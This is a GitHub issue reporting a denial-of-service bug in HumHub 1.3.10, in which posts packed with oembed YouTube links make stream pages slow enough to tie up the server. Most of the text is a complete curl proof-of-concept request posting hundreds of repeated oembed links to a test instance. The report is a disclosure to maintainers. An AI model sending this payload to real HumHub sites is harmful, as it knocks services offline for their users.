Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

An attacker can DoS a stream using an oembed bug #3545

Closed
helnokaly opened this issue Apr 10, 2019 · 1 comment
Closed

An attacker can DoS a stream using an oembed bug #3545

helnokaly opened this issue Apr 10, 2019 · 1 comment

Comments

@helnokaly
Copy link
Contributor

helnokaly commented Apr 10, 2019

An attacker can DoS (Denial-of-Service) a stream (and possibly the whole app) simply by exploiting an oembed bug. A GET request to the affected stream will become so slow to respond, rendering the PHP process handling that request busy for a long time, a few more GET requests and you can overwhelm the server.

What steps will reproduce the problem?

Just submit many [ ](oembed:https://www.youtube.com/) in a post message, using a hand crafted request because the rich text editor alters the text.

I used cURL

curl 'https://testoembedissue.humhub.com/s/welcome-space/post/post/post' \
--compressed \
-H 'X-CSRF-Token: OnRbQjUfFPoijjaQ5HexPef0zGgaA2U00nUofwuMFQwMPjMGfHNjzha7Q_aRG-F7jZD9CXBSLXWgWHcsQulhOw==' \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
-H 'X-Requested-With: XMLHttpRequest' \
-H 'Cookie: _csrf=f7de171488ae3db1252c691e61a70b76b2c35241494f0dad651f4c6120828a58a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%226JhDIlw445ufulPFjd1ajQHAr-_SIet7%22%3B%7D; PHPSESSID=****; _identity=***' \
--data '_csrf=rKU0r5n1Ylz2S8nlHYYuUfnoASVFE9SCjoPvTS0Y3Zaa71zr0JkVaMJ-vINo6n4Xk4wwRC9CnMP8rrAeZH2poQ%3D%3D&message=%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20%5B%20%5D%28oembed%3Ahttps%3A%2F%2Fwww.youtube.com%2F%29%20&containerGuid=c8ce84e0-2453-4ce8-a1e6-1772deea9d46&containerClass=humhub%5Cmodules%5Cspace%5Cmodels%5CSpace&visibility=1'

Proof of concept

https://testoembedissue.humhub.com/s/welcome-space/

Additional info

Q A
HumHub version 1.3.10
@helnokaly helnokaly changed the title Attacker can DoS or slow/break a stream using an oembed bug An attacker can DoS a stream using an oembed bug Apr 10, 2019
@helnokaly
Copy link
Contributor Author

Reminder: bug triaging needed
@luke- @buddh4

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants